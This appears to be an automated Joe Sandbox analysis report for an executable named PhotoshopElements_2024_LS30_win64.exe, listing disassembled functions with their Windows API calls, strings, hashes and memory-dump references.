Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Delete
String ID:
API String ID: 2284602516-0
Opcode ID: e4e983c9e6b99c31b52350fdf265803276c5fec8401013ecf3f3f792576c72a0
Instruction ID: 9e679a1e8828cf7ac86724b410c29441cc9aa38fa59b695f5087bfc7af2895f2
Opcode Fuzzy Hash: e4e983c9e6b99c31b52350fdf265803276c5fec8401013ecf3f3f792576c72a0
Instruction Fuzzy Hash: B021D375A00208AFCB01DF94DCC9BAE7BB8BF95300F04006AFE0597281CB31E955DBA1

Function 0053FEAE Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0053FEC6

Part of subcall function 00535D79: RtlFreeHeap.NTDLL(00000000,00000000,?,0054014F,?,00000000,?,?,?,005403F2,?,00000007,?,?,00540897,?), ref: 00535D8F
Part of subcall function 00535D79: GetLastError.KERNEL32(?,?,0054014F,?,00000000,?,?,?,005403F2,?,00000007,?,?,00540897,?,?), ref: 00535DA1

_free.LIBCMT ref: 0053FED8
_free.LIBCMT ref: 0053FEEA
_free.LIBCMT ref: 0053FEFC
_free.LIBCMT ref: 0053FF0E

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: df05589b10fcddb8115cb9ab431f49714d94cb54fb5e025999b5b4c57d5125ee
Instruction ID: 3833923b1e9eb9e8a46d322c2f9bafed19fad84c5e6d7704856b74bc3c18618d
Opcode Fuzzy Hash: df05589b10fcddb8115cb9ab431f49714d94cb54fb5e025999b5b4c57d5125ee
Instruction Fuzzy Hash: 3CF0FF33915A01AB8660EB68F98AD167BEEFA86710B651C15F409D7521DF60FC808BA4

Function 005367C4 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0053684E

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: d9882d517bfb07556b4c6033952406489b9e2659707670c46957c7c589c763b3
Instruction ID: a8d7ac2026444af8089b036c937f1ef0a28502b4f55e1efd9d6cf67cc00e6631
Opcode Fuzzy Hash: d9882d517bfb07556b4c6033952406489b9e2659707670c46957c7c589c763b3
Instruction Fuzzy Hash: 1CB11272904246AFDB11CF28C891BBEBFE5FF99340F24C1ADE845AB242D6349D41CB60

Function 002E50A0 Relevance: 6.2, APIs: 4, Instructions: 151COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 002E520E
Concurrency::cancel_current_task.LIBCPMT ref: 002E5213
Concurrency::cancel_current_task.LIBCPMT ref: 002E5218
Concurrency::cancel_current_task.LIBCPMT ref: 002E521D

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 259429ce7af4a15c1ed0dfed01eff1709160ce579ea667651006bda2ee783ef3
Instruction ID: 7b779e1e2b7dce9cf6c285c463f3db7dd95f86769c05bed2bf1f76469ff06fe8
Opcode Fuzzy Hash: 259429ce7af4a15c1ed0dfed01eff1709160ce579ea667651006bda2ee783ef3
Instruction Fuzzy Hash: 9251BE71660661CFDB10DF1AC4C0A69BBE1FF49318B5581A9ED9D8F392D731D8A0CBA0

Function 00536413 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000,00000006,0051DC92,00000000,00000000,00000002,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 00536418
_free.LIBCMT ref: 00536475
_free.LIBCMT ref: 005364AB
SetLastError.KERNEL32(00000000,00000002,000000FF,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 005364B6

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 886c7c09ebfe285efb15564bd85018b05433395dcae3f1844f50d9add1300fe7
Instruction ID: 454c1e661963261e6b8ba3bf9b5fe4550b71137f563738da50302fae7b91cbdf
Opcode Fuzzy Hash: 886c7c09ebfe285efb15564bd85018b05433395dcae3f1844f50d9add1300fe7
Instruction Fuzzy Hash: 13110672A045023ACF113B746DCED2A2FAAFBCB3B1F31452CF524961D1EEB18C116620

Function 0053656A Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,?,0052157F,00000000,?,005215F7,00000000,00000000,00000000,00000000,00000000,00000018,0027417B,?,004024A0), ref: 0053656F
_free.LIBCMT ref: 005365CC
_free.LIBCMT ref: 00536602
SetLastError.KERNEL32(00000000,00000002,000000FF,?,005215F7,00000000,00000000,00000000,00000000,00000000,00000018,0027417B,?,004024A0,00000018,00000000), ref: 0053660D

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: bcaa1fe9c3264f25e7298b42499c8236062c8253cbbaf3c99870994f45601936
Instruction ID: 89c631b3e49d6f26666e01242bb811adde58c2dc591f114937e0ffae27b3016d
Opcode Fuzzy Hash: bcaa1fe9c3264f25e7298b42499c8236062c8253cbbaf3c99870994f45601936
Instruction Fuzzy Hash: 9F11C6722086123ADB1127785C8E92B2FAAFBCB7B5FA1427CF124961D1DEB19C056520

Function 00402380 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00000000), ref: 0040238C
RtlLeaveCriticalSection.NTDLL(00000000), ref: 004023C7
RtlLeaveCriticalSection.NTDLL(00000000), ref: 004023DC
RtlLeaveCriticalSection.NTDLL(00000000), ref: 004023EE

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: 709b8ca95de63c57acf2efb1a369e5264ddbb6e693117b4e366538269b3fb746
Instruction ID: e28dd463a6b6fdbced03d271235eef64fcece882177d4ec34972f852f1e20310
Opcode Fuzzy Hash: 709b8ca95de63c57acf2efb1a369e5264ddbb6e693117b4e366538269b3fb746
Instruction Fuzzy Hash: 600192362416008FC3208F1CF849AD7B3E9FBAA330B04862FE56683750C375A849DB70

Function 005461A3 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00544FBB,?,00000001,?,?,?,0053AC66,?,00000000,?), ref: 005461BA
GetLastError.KERNEL32(?,00544FBB,?,00000001,?,?,?,0053AC66,?,00000000,?,?,?,?,0053B1B2,00000000), ref: 005461C6

Part of subcall function 0054618C: CloseHandle.KERNEL32(FFFFFFFE,005461D6,?,00544FBB,?,00000001,?,?,?,0053AC66,?,00000000,?,?,?), ref: 0054619C

___initconout.LIBCMT ref: 005461D6

Part of subcall function 0054614E: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0054617D,00544FA8,?,?,0053AC66,?,00000000,?,?), ref: 00546161

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00544FBB,?,00000001,?,?,?,0053AC66,?,00000000,?,?), ref: 005461EB

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f41c516f6f118156b143ec588ca598e5f8427b4f8cf1b396cd18740f012f2823
Instruction ID: 14c98a32bb9ee82cdb4ca06f6325add9eca45cb9c42ee43fa1d86a577579aa7b
Opcode Fuzzy Hash: f41c516f6f118156b143ec588ca598e5f8427b4f8cf1b396cd18740f012f2823
Instruction Fuzzy Hash: 5CF0AC3650012ABBCF226FD5EC09AD97F27FB9A3A5F045110FB1896121CA729860EB91

Function 0020EFF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0020F01B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0020F06A

Strings

bad locale name, xrefs: 0020F086

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 292100ea19cb49c9cf1cc4ba2c66d5fb471788ceb332b6e5dfbdb759c80b055e
Instruction ID: 5973eb3beb43fdd44b455dc92680d907f1ef52416db248e5a9d96e395998f427
Opcode Fuzzy Hash: 292100ea19cb49c9cf1cc4ba2c66d5fb471788ceb332b6e5dfbdb759c80b055e
Instruction Fuzzy Hash: 5F118C71904B849ED320CF69C905B5BBFE8FB19710F004A1EE49987B81D7B5A5048B95

Function 0053EAD9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMONLIBRARYCODE

Download Yara Rule

APIs

GetOEMCP.KERNEL32(00000000,0053ED4A,?,00000000,0053C9D9,0053C9D9,00000000,00000000,?), ref: 0053EB04
GetACP.KERNEL32(00000000,0053ED4A,?,00000000,0053C9D9,0053C9D9,00000000,00000000,?), ref: 0053EB1B

Strings

JS, xrefs: 0053EAE1, 0053EB3E

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID: JS
API String ID: 0-930516749
Opcode ID: c52b4ff00e5fc9ccdbde58c48aec07765749a79bc3f8bb5624bc5a149447669a
Instruction ID: 95f850b3b9c1db9a1052883033c2fc656258544552409080db825b326ae5eea2
Opcode Fuzzy Hash: c52b4ff00e5fc9ccdbde58c48aec07765749a79bc3f8bb5624bc5a149447669a
Instruction Fuzzy Hash: 82F068704102059BE711DB58E8AA7BCBBF5BB52339F740744E1269A1E1C7755CC5CB42

Analysis Process: PhotoshopElements_2024_LS30_win64.exePID: 7732, Parent PID: 7360COMMON

Execution Graph

Execution Coverage:	18.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	204
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 003ECDD0 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 159
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(005853B5,00000000,003ED0B5,00000000,00000000,9793B77F,00000000,?,?,?,?,?,?,?,?,00000000), ref: 003ECE34
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,005853B5), ref: 003ECE3D
Sleep.KERNEL32(0000000A), ref: 003ECE6C

Strings

CommBridge, xrefs: 003ECEBB, 003ECEE9, 003ECF3B, 003ECF6C
Terminate channel, xrefs: 003ECF06, 003ECF86
Number of retries to read pipe exhausted with last errno = %lu. Aborting read on pipe %p, xrefs: 003ECEAC, 003ECEE4
OOBEUtils, xrefs: 003ECEC0, 003ECF40
Aborting read on pipe %p , errno: %lu, xrefs: 003ECF2C, 003ECF67

Memory Dump Source

Source File: 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000F.00000002.3743415483.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753643256.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753672483.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorFileLastReadSleep
String ID: Aborting read on pipe %p , errno: %lu$CommBridge$Number of retries to read pipe exhausted with last errno = %lu. Aborting read on pipe %p$OOBEUtils$Terminate channel
API String ID: 1807766164-3019080840
Opcode ID: 55dc787aefaab91d0e2aa46ecebb39dd664d9b531abe17d92fbad8b62a7a3c2a
Instruction ID: 0971ae49c46fb0c0cfc0776bed335c5ff211ad119f64433def5ff7a50e4f1a1c
Opcode Fuzzy Hash: 55dc787aefaab91d0e2aa46ecebb39dd664d9b531abe17d92fbad8b62a7a3c2a
Instruction Fuzzy Hash: F051E871A11228AFCF18ABA5CC46BAEBBB6BF44B10F01421DF802B72C1CB705D01CB91

Function 00B49970 Relevance: 7.7, APIs: 5, Instructions: 206
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 00B49AAA
GetProcAddress.KERNEL32(?,00B28FF9), ref: 00B49AC8
ExitProcess.KERNEL32(?,00B28FF9), ref: 00B49AD9
VirtualProtect.KERNELBASE(001D0000,00001000,00000004,?,00000000), ref: 00B49B27
VirtualProtect.KERNELBASE(001D0000,00001000), ref: 00B49B3C

Memory Dump Source

Source File: 0000000F.00000002.3753643256.0000000000B49000.00000080.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000F.00000002.3743415483.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753672483.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: f10d0b478d52d979cc20c418619e84ee81e00264883e8550ad284b0270b14506
Instruction ID: 89250c07630bfa5e9e3b7a4dcc726c8e324343f1deb4bc8483f0ced4be3c4b26
Opcode Fuzzy Hash: f10d0b478d52d979cc20c418619e84ee81e00264883e8550ad284b0270b14506
Instruction Fuzzy Hash: CD513872A557525BD7208EB8DCC0672B7D4EB4132472807BCC5E2CB3C6F7A45E05A760

Function 0020EA20 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0020EA25

Part of subcall function 00500919: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00500925
Part of subcall function 00500919: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00500945
Part of subcall function 00500919: std::regex_error::regex_error.LIBCPMT ref: 00500965

Strings

deque<T> too long, xrefs: 0020EA20

Memory Dump Source

Source File: 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000F.00000002.3743415483.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753643256.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753672483.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: std::invalid_argument::invalid_argument$Xinvalid_argumentstd::_std::regex_error::regex_error
String ID: deque<T> too long
API String ID: 669420993-309773918
Opcode ID: 3c0ac3360bd65154a6b30b788831615e564b3729407742b2d19a5472aabeab7f
Instruction ID: b299652275fe3b3bef5af5392ac2af534ed6f4e64b75d93f8585713414bf2e81
Opcode Fuzzy Hash: 3c0ac3360bd65154a6b30b788831615e564b3729407742b2d19a5472aabeab7f
Instruction Fuzzy Hash: 4431B071B002059FCB08DF6CC995A99BBF5FF88300B058659E9099F396DB70EE54CB90

Function 0020B550 Relevance: 3.1, APIs: 2, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0020B5A0

Memory Dump Source

Source File: 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000F.00000002.3743415483.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3743571059.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753643256.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.3753672483.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: c4546b7434b34a224b1f749939e95e9de84bd03283e4ebd8fcc15bfbc4b6fed3
Instruction ID: d128f2e216cea4c1cbca55cdc9a5ff861867352cf2dda34b50993bc18b74bbe6
Opcode Fuzzy Hash: c4546b7434b34a224b1f749939e95e9de84bd03283e4ebd8fcc15bfbc4b6fed3
Instruction Fuzzy Hash: B5315B7252070609D7366FB8A845AB9BF4CAE5233474C03B5E469CB5D3E722ECB28654

Function 0020BAA0 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0020BAF4

Memory Dump Source

Source File: 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

